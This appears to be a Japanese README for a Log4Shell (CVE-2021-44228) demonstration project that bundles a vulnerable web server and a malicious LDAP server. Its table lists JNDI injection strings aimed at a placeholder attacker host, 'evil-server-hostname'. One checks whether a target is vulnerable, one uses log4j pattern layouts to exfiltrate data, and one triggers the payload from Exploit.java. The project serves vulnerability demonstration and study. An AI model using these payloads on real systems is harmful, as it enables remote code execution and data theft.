Odysseus

Log4Shell (CVE-2021-44228) 脆弱性のデモです。

ビルド手順

脆弱なWebサーバと悪意のあるLDAPサーバは、いずれもJDK 1.8.0_181でビルドおよびテストされました。

注: Windows Defender は target\classes\Exploit.class を静かに隔離に移動する場合があります。

悪意のあるコマンドは Exploit.java 内で定義されています。

入力	備考
`${jndi:ldap://evil-server-hostname:389/Recon}`	LDAPサーバへの接続要求を待ち受けることで、ターゲットが脆弱かどうかを確認します。
`${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]`	有効なlog4jパターンレイアウトを追加して、ターゲットからデータを収集し、攻撃者の端末に表示します。
`${jndi:ldap://evil-server-hostname:389/Exploit}`	ペイロードを実行します。